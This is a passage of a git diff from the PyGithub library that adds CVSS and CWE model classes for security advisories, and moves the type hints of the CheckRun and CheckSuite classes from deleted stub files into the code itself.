- def get_user_push_restrictions(self) -> PaginatedList[Team]: ... - @property - def required_pull_request_reviews(self) -> RequiredPullRequestReviews: ... - @property - def required_status_checks(self) -> RequiredStatusChecks: ... - @property - def url(self) -> str: ... diff --git a/github/CVSS.py b/github/CVSS.py new file mode 100644 index 0000000000..7f8694c4cd --- /dev/null +++ b/github/CVSS.py @@ -0,0 +1,74 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from decimal import Decimal +from typing import Any, Dict + +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class CVSS(NonCompletableGithubObject): + """ + This class represents a CVSS. + The reference can be found here + """ + + def _initAttributes(self) -> None: + self._vector_string: Attribute[str] = NotSet + self._score: Attribute[Decimal] = NotSet + self._version: Attribute[Decimal] = NotSet + + @property + def score(self) -> Decimal: + return self._score.value + + @property + def version(self) -> Decimal: + return self._version.value + + @property + def vector_string(self) -> str: + return self._vector_string.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "score" in attributes and attributes["score"] is not None: # pragma no branch + # ensure string so we don't have all the float extra nonsense + self._score = self._makeDecimalAttribute(Decimal(str(attributes["score"]))) + if "vector_string" in attributes and attributes["vector_string"] is not None: # pragma no branch + self._vector_string = self._makeStringAttribute(attributes["vector_string"]) + self._version = self._makeDecimalAttribute(Decimal(self.vector_string.split(":")[1].split("/")[0])) diff --git a/github/CWE.py b/github/CWE.py new file mode 100644 index 0000000000..6397c192cf --- /dev/null +++ b/github/CWE.py @@ -0,0 +1,67 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + + +from typing import Any, Dict + +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class CWE(CompletableGithubObject): + """ + This class represents a CWE. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + def _initAttributes(self) -> None: + self._cwe_id: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + + @property + def cwe_id(self) -> str: + return self._cwe_id.value + + @property + def name(self) -> str: + return self._name.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "cwe_id" in attributes: # pragma no branch + self._cwe_id = self._makeStringAttribute(attributes["cwe_id"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) diff --git a/github/CheckRun.py b/github/CheckRun.py index dfe16f6a67..c899c504f3 100644 --- a/github/CheckRun.py +++ b/github/CheckRun.py @@ -1,6 +1,12 @@ ############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 majorvin # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,161 +26,146 @@ # # ################################################################################ -import datetime +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any import github.CheckRunAnnotation import github.CheckRunOutput import github.GithubApp import github.GithubObject -import github.PaginatedList import github.PullRequest +from github.GithubObject import ( + Attribute, + CompletableGithubObject, + NotSet, + Opt, + is_defined, + is_optional, + is_optional_list, +) +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.CheckRunAnnotation import CheckRunAnnotation + from github.CheckRunOutput import CheckRunOutput + from github.GithubApp import GithubApp + from github.PullRequest import PullRequest -class CheckRun(github.GithubObject.CompletableGithubObject): +class CheckRun(CompletableGithubObject): """ This class represents check runs. The reference can be found here https://docs.github.com/en/rest/reference/checks#check-runs """ - def __repr__(self): - return self.get__repr__( - {"id": self._id.value, "conclusion": self._conclusion.value} - ) + def _initAttributes(self) -> None: + self._app: Attribute[GithubApp] = NotSet + self._check_suite_id: Attribute[int] = NotSet + self._completed_at: Attribute[datetime | None] = NotSet + self._conclusion: Attribute[str] = NotSet + self._details_url: Attribute[str] = NotSet + self._external_id: Attribute[str] = NotSet + self._head_sha: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._output: Attribute[github.CheckRunOutput.CheckRunOutput] = NotSet + self._pull_requests: Attribute[list[PullRequest]] = NotSet + self._started_at: Attribute[datetime] = NotSet + self._status: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"id": self._id.value, "conclusion": self._conclusion.value}) @property - def app(self): - """ - :type: :class:`github.GithubApp.GithubApp` - """ + def app(self) -> GithubApp: self._completeIfNotSet(self._app) return self._app.value @property - def check_suite_id(self): - """ - :type: integer - """ + def check_suite_id(self) -> int: self._completeIfNotSet(self._check_suite_id) return self._check_suite_id.value @property - def completed_at(self): - """ - :type: datetime.datetime - """ + def completed_at(self) -> datetime | None: self._completeIfNotSet(self._completed_at) return self._completed_at.value @property - def conclusion(self): - """ - :type: string - """ + def conclusion(self) -> str: self._completeIfNotSet(self._conclusion) return self._conclusion.value @property - def details_url(self): - """ - :type: string - """ + def details_url(self) -> str: self._completeIfNotSet(self._details_url) return self._details_url.value @property - def external_id(self): - """ - :type: string - """ + def external_id(self) -> str: self._completeIfNotSet(self._external_id) return self._external_id.value @property - def head_sha(self): - """ - :type: string - """ + def head_sha(self) -> str: self._completeIfNotSet(self._head_sha) return self._head_sha.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property - def output(self): - """ - :type: :class:`github.CheckRunOutput.CheckRunOutput` - """ + def output(self) -> CheckRunOutput: self._completeIfNotSet(self._output) return self._output.value @property - def pull_requests(self): - """ - :type: list of :class:`github.PullRequest.PullRequest` - """ + def pull_requests(self) -> list[PullRequest]: self._completeIfNotSet(self._pull_requests) return self._pull_requests.value @property - def started_at(self): - """ - :type: datetime.datetime - """ + def started_at(self) -> datetime: self._completeIfNotSet(self._started_at) return self._started_at.value @property - def status(self): - """ - :type: string - """ + def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def get_annotations(self): + def get_annotations(self) -> PaginatedList[CheckRunAnnotation]: """ :calls: `GET /repos/{owner}/{repo}/check-runs/{check_run_id}/annotations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CheckRunAnnotation.CheckRunAnnotation` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CheckRunAnnotation.CheckRunAnnotation, self._requester, f"{self.url}/annotations", @@ -184,115 +175,62 @@ def get_annotations(self): def edit( self, - name=github.GithubObject.NotSet, - head_sha=github.GithubObject.NotSet, - details_url=github.GithubObject.NotSet, - external_id=github.GithubObject.NotSet, - status=github.GithubObject.NotSet, - started_at=github.GithubObject.NotSet, - conclusion=github.GithubObject.NotSet, - completed_at=github.GithubObject.NotSet, - output=github.GithubObject.NotSet, - actions=github.GithubObject.NotSet, - ): + name: Opt[str] = NotSet, + head_sha: Opt[str] = NotSet, + details_url: Opt[str] = NotSet, + external_id: Opt[str] = NotSet, + status: Opt[str] = NotSet, + started_at: Opt[datetime] = NotSet, + conclusion: Opt[str] = NotSet, + completed_at: Opt[datetime] = NotSet, + output: Opt[dict] = NotSet, + actions: Opt[list[dict]] = NotSet, + ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/check-runs/{check_run_id} `_ - :param name: string - :param head_sha: string - :param details_url: string - :param external_id: string - :param status: string - :param started_at: datetime.datetime - :param conclusion: string - :param completed_at: datetime.datetime - :param output: dict - :param actions: list of dict - :rtype: None """ - assert name is github.GithubObject.NotSet or isinstance(name, str), name - assert head_sha is github.GithubObject.NotSet or isinstance( - head_sha, str - ), head_sha - assert details_url is github.GithubObject.NotSet or isinstance( - details_url, str - ), details_url - assert external_id is github.GithubObject.NotSet or isinstance( - external_id, str - ), external_id - assert status is github.GithubObject.NotSet or isinstance(status, str), status - assert started_at is github.GithubObject.NotSet or isinstance( - started_at, datetime.datetime - ), started_at - assert conclusion is github.GithubObject.NotSet or isinstance( - conclusion, str - ), conclusion - assert completed_at is github.GithubObject.NotSet or isinstance( - completed_at, datetime.datetime - ), completed_at - assert output is github.GithubObject.NotSet or isinstance(output, dict), output - assert actions is github.GithubObject.NotSet or all( - isinstance(element, dict) for element in actions - ), actions + assert is_optional(name, str), name + assert is_optional(head_sha, str), head_sha + assert is_optional(details_url, str), details_url + assert is_optional(external_id, str), external_id + assert is_optional(status, str), status + assert is_optional(started_at, datetime), started_at + assert is_optional(conclusion, str), conclusion + assert is_optional(completed_at, datetime), completed_at + assert is_optional(output, dict), output + assert is_optional_list(actions, dict), actions - post_parameters = dict() - if name is not github.GithubObject.NotSet: + post_parameters: dict[str, Any] = {} + if is_defined(name): post_parameters["name"] = name - if head_sha is not github.GithubObject.NotSet: + if is_defined(head_sha): post_parameters["head_sha"] = head_sha - if details_url is not github.GithubObject.NotSet: + if is_defined(details_url): post_parameters["details_url"] = details_url - if external_id is not github.GithubObject.NotSet: + if is_defined(external_id): post_parameters["external_id"] = external_id - if status is not github.GithubObject.NotSet: + if is_defined(status): post_parameters["status"] = status - if started_at is not github.GithubObject.NotSet: + if is_defined(started_at): post_parameters["started_at"] = started_at.strftime("%Y-%m-%dT%H:%M:%SZ") - if completed_at is not github.GithubObject.NotSet: - post_parameters["completed_at"] = completed_at.strftime( - "%Y-%m-%dT%H:%M:%SZ" - ) - if conclusion is not github.GithubObject.NotSet: + if is_defined(completed_at): + post_parameters["completed_at"] = completed_at.strftime("%Y-%m-%dT%H:%M:%SZ") + if is_defined(conclusion): post_parameters["conclusion"] = conclusion - if output is not github.GithubObject.NotSet: + if is_defined(output): post_parameters["output"] = output - if actions is not github.GithubObject.NotSet: + if is_defined(actions): post_parameters["actions"] = actions - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def _initAttributes(self): - self._app = github.GithubObject.NotSet - self._check_suite_id = github.GithubObject.NotSet - self._completed_at = github.GithubObject.NotSet - self._conclusion = github.GithubObject.NotSet - self._details_url = github.GithubObject.NotSet - self._external_id = github.GithubObject.NotSet - self._head_sha = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._output = github.GithubObject.NotSet - self._pull_requests = github.GithubObject.NotSet - self._started_at = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "app" in attributes: # pragma no branch - self._app = self._makeClassAttribute( - github.GithubApp.GithubApp, attributes["app"] - ) + self._app = self._makeClassAttribute(github.GithubApp.GithubApp, attributes["app"]) # This only gives us a dictionary with `id` attribute of `check_suite` - if ( - "check_suite" in attributes and "id" in attributes["check_suite"] - ): # pragma no branch - self._check_suite_id = self._makeIntAttribute( - attributes["check_suite"]["id"] - ) + if "check_suite" in attributes and "id" in attributes["check_suite"]: # pragma no branch + self._check_suite_id = self._makeIntAttribute(attributes["check_suite"]["id"]) if "completed_at" in attributes: # pragma no branch self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) if "conclusion" in attributes: # pragma no branch @@ -312,9 +250,7 @@ def _useAttributes(self, attributes): if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "output" in attributes: # pragma no branch - self._output = self._makeClassAttribute( - github.CheckRunOutput.CheckRunOutput, attributes["output"] - ) + self._output = self._makeClassAttribute(github.CheckRunOutput.CheckRunOutput, attributes["output"]) if "pull_requests" in attributes: # pragma no branch self._pull_requests = self._makeListOfClassesAttribute( github.PullRequest.PullRequest, attributes["pull_requests"] diff --git a/github/CheckRun.pyi b/github/CheckRun.pyi deleted file mode 100644 index 10cfda8dad..0000000000 --- a/github/CheckRun.pyi +++ /dev/null @@ -1,62 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Union - -from github.CheckRunAnnotation import CheckRunAnnotation -from github.CheckRunOutput import CheckRunOutput -from github.GithubApp import GithubApp -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.PaginatedList import PaginatedList -from github.PullRequest import PullRequest - -class CheckRun(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def get_annotations(self) -> PaginatedList[CheckRunAnnotation]: ... - def edit( - self, - name: Union[_NotSetType, str] = ..., - head_sha: Union[_NotSetType, str] = ..., - details_url: Union[_NotSetType, str] = ..., - external_id: Union[_NotSetType, str] = ..., - status: Union[_NotSetType, str] = ..., - started_at: Union[_NotSetType, datetime] = ..., - conclusion: Union[_NotSetType, str] = ..., - completed_at: Union[_NotSetType, datetime] = ..., - output: Union[ - _NotSetType, Dict[str, Union[str, List[Dict[str, Union[str, int]]]]] - ] = ..., - actions: Union[_NotSetType, List[Dict[str, str]]] = ..., - ) -> None: ... - @property - def app(self) -> GithubApp: ... - @property - def check_suite_id(self) -> int: ... - @property - def completed_at(self) -> datetime: ... - @property - def conclusion(self) -> str: ... - @property - def details_url(self) -> str: ... - @property - def external_id(self) -> str: ... - @property - def head_sha(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def name(self) -> str: ... - @property - def node_id(self) -> str: ... - @property - def output(self) -> CheckRunOutput: ... - @property - def pull_requests(self) -> List[PullRequest]: ... - @property - def started_at(self) -> datetime: ... - @property - def status(self) -> str: ... - @property - def url(self) -> str: ... diff --git a/github/CheckRunAnnotation.py b/github/CheckRunAnnotation.py index 5c7033cda9..5271c4c259 100644 --- a/github/CheckRunAnnotation.py +++ b/github/CheckRunAnnotation.py @@ -1,6 +1,10 @@ ############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,97 +24,70 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class CheckRunAnnotation(github.GithubObject.NonCompletableGithubObject): + +class CheckRunAnnotation(NonCompletableGithubObject): """ This class represents check run annotations. The reference can be found here: https://docs.github.com/en/rest/reference/checks#list-check-run-annotations """ - def __repr__(self): + def _initAttributes(self) -> None: + self._annotation_level: Attribute[str] = NotSet + self._end_column: Attribute[int] = NotSet + self._end_line: Attribute[int] = NotSet + self._message: Attribute[str] = NotSet + self._path: Attribute[str] = NotSet + self._raw_details: Attribute[str] = NotSet + self._start_column: Attribute[int] = NotSet + self._start_line: Attribute[int] = NotSet + self._title: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property - def annotation_level(self): - """ - :type: string - """ + def annotation_level(self) -> str: return self._annotation_level.value @property - def end_column(self): - """ - :type: integer - """ + def end_column(self) -> int: return self._end_column.value @property - def end_line(self): - """ - :type: integer - """ + def end_line(self) -> int: return self._end_line.value @property - def message(self): - """ - :type: string - """ + def message(self) -> str: return self._message.value @property - def path(self): - """ - :type: string - """ + def path(self) -> str: return self._path.value @property - def raw_details(self): - """ - :type: string - """ + def raw_details(self) -> str: return self._raw_details.value @property - def start_column(self): - """ - :type: integer - """ + def start_column(self) -> int: return self._start_column.value @property - def start_line(self): - """ - :type: integer - """ + def start_line(self) -> int: return self._start_line.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: return self._title.value - def _initAttributes(self): - self._annotation_level = github.GithubObject.NotSet - self._end_column = github.GithubObject.NotSet - self._end_line = github.GithubObject.NotSet - self._message = github.GithubObject.NotSet - self._path = github.GithubObject.NotSet - self._raw_details = github.GithubObject.NotSet - self._start_column = github.GithubObject.NotSet - self._start_line = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "annotation_level" in attributes: # pragma no branch - self._annotation_level = self._makeStringAttribute( - attributes["annotation_level"] - ) + self._annotation_level = self._makeStringAttribute(attributes["annotation_level"]) if "end_column" in attributes: # pragma no branch self._end_column = self._makeIntAttribute(attributes["end_column"]) if "end_line" in attributes: # pragma no branch diff --git a/github/CheckRunAnnotation.pyi b/github/CheckRunAnnotation.pyi deleted file mode 100644 index 263f5abb9c..0000000000 --- a/github/CheckRunAnnotation.pyi +++ /dev/null @@ -1,26 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class CheckRunAnnotation(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def annotation_level(self) -> str: ... - @property - def end_column(self) -> int: ... - @property - def end_line(self) -> int: ... - @property - def message(self) -> str: ... - @property - def path(self) -> str: ... - @property - def raw_details(self) -> str: ... - @property - def start_column(self) -> int: ... - @property - def start_line(self) -> int: ... - @property - def title(self) -> str: ... diff --git a/github/CheckRunOutput.py b/github/CheckRunOutput.py index 3dfc02382a..2a9f258a13 100644 --- a/github/CheckRunOutput.py +++ b/github/CheckRunOutput.py @@ -1,6 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,66 +35,49 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class CheckRunOutput(github.GithubObject.NonCompletableGithubObject): + +class CheckRunOutput(NonCompletableGithubObject): """This class represents the output of check run.""" - def __repr__(self): + def _initAttributes(self) -> None: + self._annotations_count: Attribute[int] = NotSet + self._annotations_url: Attribute[str] = NotSet + self._summary: Attribute[str] = NotSet + self._text: Attribute[str] = NotSet + self._title: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property - def annotations_count(self): - """ - :type: integer - """ + def annotations_count(self) -> int: return self._annotations_count.value @property - def annotations_url(self): - """ - :type: string - """ + def annotations_url(self) -> str: return self._annotations_url.value @property - def summary(self): - """ - :type: string - """ + def summary(self) -> str: return self._summary.value @property - def text(self): - """ - :type: string - """ + def text(self) -> str: return self._text.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: return self._title.value - def _initAttributes(self): - self._annotations_count = github.GithubObject.NotSet - self._annotations_url = github.GithubObject.NotSet - self._summary = github.GithubObject.NotSet - self._text = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "annotations_count" in attributes: # pragma no branch - self._annotations_count = self._makeIntAttribute( - attributes["annotations_count"] - ) + self._annotations_count = self._makeIntAttribute(attributes["annotations_count"]) if "annotations_url" in attributes: # pragma no branch - self._annotations_url = self._makeStringAttribute( - attributes["annotations_url"] - ) + self._annotations_url = self._makeStringAttribute(attributes["annotations_url"]) if "summary" in attributes: # pragma no branch self._summary = self._makeStringAttribute(attributes["summary"]) if "text" in attributes: # pragma no branch diff --git a/github/CheckRunOutput.pyi b/github/CheckRunOutput.pyi deleted file mode 100644 index 1ab8763e81..0000000000 --- a/github/CheckRunOutput.pyi +++ /dev/null @@ -1,18 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class CheckRunOutput(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def annotations_count(self) -> int: ... - @property - def annotations_url(self) -> str: ... - @property - def summary(self) -> str: ... - @property - def text(self) -> str: ... - @property - def title(self) -> str: ... diff --git a/github/CheckSuite.py b/github/CheckSuite.py index a244d1f8b7..bb4f579a18 100644 --- a/github/CheckSuite.py +++ b/github/CheckSuite.py @@ -1,6 +1,12 @@ ############################ Copyrights and license ############################ # # -# Copyright 2020 Raju Subramanian # +# Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Yannick Jadoul # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,19 +26,55 @@ # # ################################################################################ -import github +from __future__ import annotations +from datetime import datetime +from typing import TYPE_CHECKING, Any -class CheckSuite(github.GithubObject.CompletableGithubObject): +import github.CheckRun +import github.GitCommit +import github.GithubApp +import github.PullRequest +import github.Repository +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_defined, is_optional +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.CheckRun import CheckRun + from github.GitCommit import GitCommit + from github.GithubApp import GithubApp + from github.PullRequest import PullRequest + from github.Repository import Repository + + +class CheckSuite(CompletableGithubObject): """ This class represents check suites. The reference can be found here https://docs.github.com/en/rest/reference/checks#check-suites """ - def __repr__(self): + def _initAttributes(self) -> None: + self._after: Attribute[str] = NotSet + self._app: Attribute[GithubApp] = NotSet + self._before: Attribute[str] = NotSet + self._check_runs_url: Attribute[str] = NotSet + self._conclusion: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._head_branch: Attribute[str] = NotSet + self._head_commit: Attribute[GitCommit] = NotSet + self._head_sha: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._latest_check_runs_count: Attribute[int] = NotSet + self._pull_requests: Attribute[list[PullRequest]] = NotSet + self._repository: Attribute[Repository] = NotSet + self._status: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property - def after(self): + def after(self) -> str: """ :type: string """ @@ -40,7 +82,7 @@ def after(self): return self._after.value @property - def app(self): + def app(self) -> GithubApp: """ :type: :class:`github.GithubApp.GithubApp` """ @@ -48,7 +90,7 @@ def app(self): return self._app.value @property - def before(self): + def before(self) -> str: """ :type: string """ @@ -56,7 +98,7 @@ def before(self): return self._before.value @property - def check_runs_url(self): + def check_runs_url(self) -> str: """ :type: string """ @@ -64,7 +106,7 @@ def check_runs_url(self): return self._check_runs_url.value @property - def conclusion(self): + def conclusion(self) -> str: """ :type: string """ @@ -72,7 +114,7 @@ def conclusion(self): return self._conclusion.value @property - def created_at(self): + def created_at(self) -> datetime: """ :type: datetime.datetime """ @@ -80,7 +122,7 @@ def created_at(self): return self._created_at.value @property - def head_branch(self): + def head_branch(self) -> str: """ :type: string """ @@ -88,7 +130,7 @@ def head_branch(self): return self._head_branch.value @property - def head_commit(self): + def head_commit(self) -> GitCommit: """ :type: :class:`github.GitCommit.GitCommit` """ @@ -96,7 +138,7 @@ def head_commit(self): return self._head_commit.value @property - def head_sha(self): + def head_sha(self) -> str: """ :type: string """ @@ -104,7 +146,7 @@ def head_sha(self): return self._head_sha.value @property - def id(self): + def id(self) -> int: """ :type: int """ @@ -112,7 +154,7 @@ def id(self): return self._id.value @property - def latest_check_runs_count(self): + def latest_check_runs_count(self) -> int: """ :type: int """ @@ -120,7 +162,7 @@ def latest_check_runs_count(self): return self._latest_check_runs_count.value @property - def pull_requests(self): + def pull_requests(self) -> list[PullRequest]: """ :type: list of :class:`github.PullRequest.PullRequest` """ @@ -128,7 +170,7 @@ def pull_requests(self): return self._pull_requests.value @property - def repository(self): + def repository(self) -> Repository: """ :type: :class:`github.Repository.Repository` """ @@ -136,7 +178,7 @@ def repository(self): return self._repository.value @property - def status(self): + def status(self) -> str: """ :type: string """ @@ -144,7 +186,7 @@ def status(self): return self._status.value @property - def updated_at(self): + def updated_at(self) -> datetime: """ :type: datetime.datetime """ @@ -152,50 +194,42 @@ def updated_at(self): return self._updated_at.value @property - def url(self): + def url(self) -> str: """ :type: string """ self._completeIfNotSet(self._url) return self._url.value - def rerequest(self): + def rerequest(self) -> bool: """ :calls: `POST /repos/{owner}/{repo}/check-suites/{check_suite_id}/rerequest `_ :rtype: bool """ request_headers = {"Accept": "application/vnd.github.v3+json"} - status, _, _ = self._requester.requestJson( - "POST", f"{self.url}/rerequest", headers=request_headers - ) + status, _, _ = self._requester.requestJson("POST", f"{self.url}/rerequest", headers=request_headers) return status == 201 def get_check_runs( self, - check_name=github.GithubObject.NotSet, - status=github.GithubObject.NotSet, - filter=github.GithubObject.NotSet, - ): + check_name: Opt[str] = NotSet, + status: Opt[str] = NotSet, + filter: Opt[str] = NotSet, + ) -> PaginatedList[CheckRun]: """ :calls: `GET /repos/{owner}/{repo}/check-suites/{check_suite_id}/check-runs `_ - :param check_name: string - :param status: string - :param filter: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CheckRun.CheckRun` - """ - assert check_name is github.GithubObject.NotSet or isinstance( - check_name, str - ), check_name - assert status is github.GithubObject.NotSet or isinstance(status, str), status - assert filter is github.GithubObject.NotSet or isinstance(filter, str), filter - url_parameters = dict() - if check_name is not github.GithubObject.NotSet: + """ + assert is_optional(check_name, str), check_name + assert is_optional(status, str), status + assert is_optional(filter, str), filter + url_parameters: dict[str, Any] = {} + if is_defined(check_name): url_parameters["check_name"] = check_name - if status is not github.GithubObject.NotSet: + if is_defined(status): url_parameters["status"] = status - if filter is not github.GithubObject.NotSet: + if is_defined(filter): url_parameters["filter"] = filter - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CheckRun.CheckRun, self._requester, f"{self.url}/check-runs", @@ -204,37 +238,15 @@ def get_check_runs( list_item="check_runs", ) - def _initAttributes(self): - self._after = github.GithubObject.NotSet - self._app = github.GithubObject.NotSet - self._before = github.GithubObject.NotSet - self._check_runs_url = github.GithubObject.NotSet - self._conclusion = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._head_branch = github.GithubObject.NotSet - self._head_commit = github.GithubObject.NotSet - self._head_sha = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._latest_check_runs_count = github.GithubObject.NotSet - self._pull_requests = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: 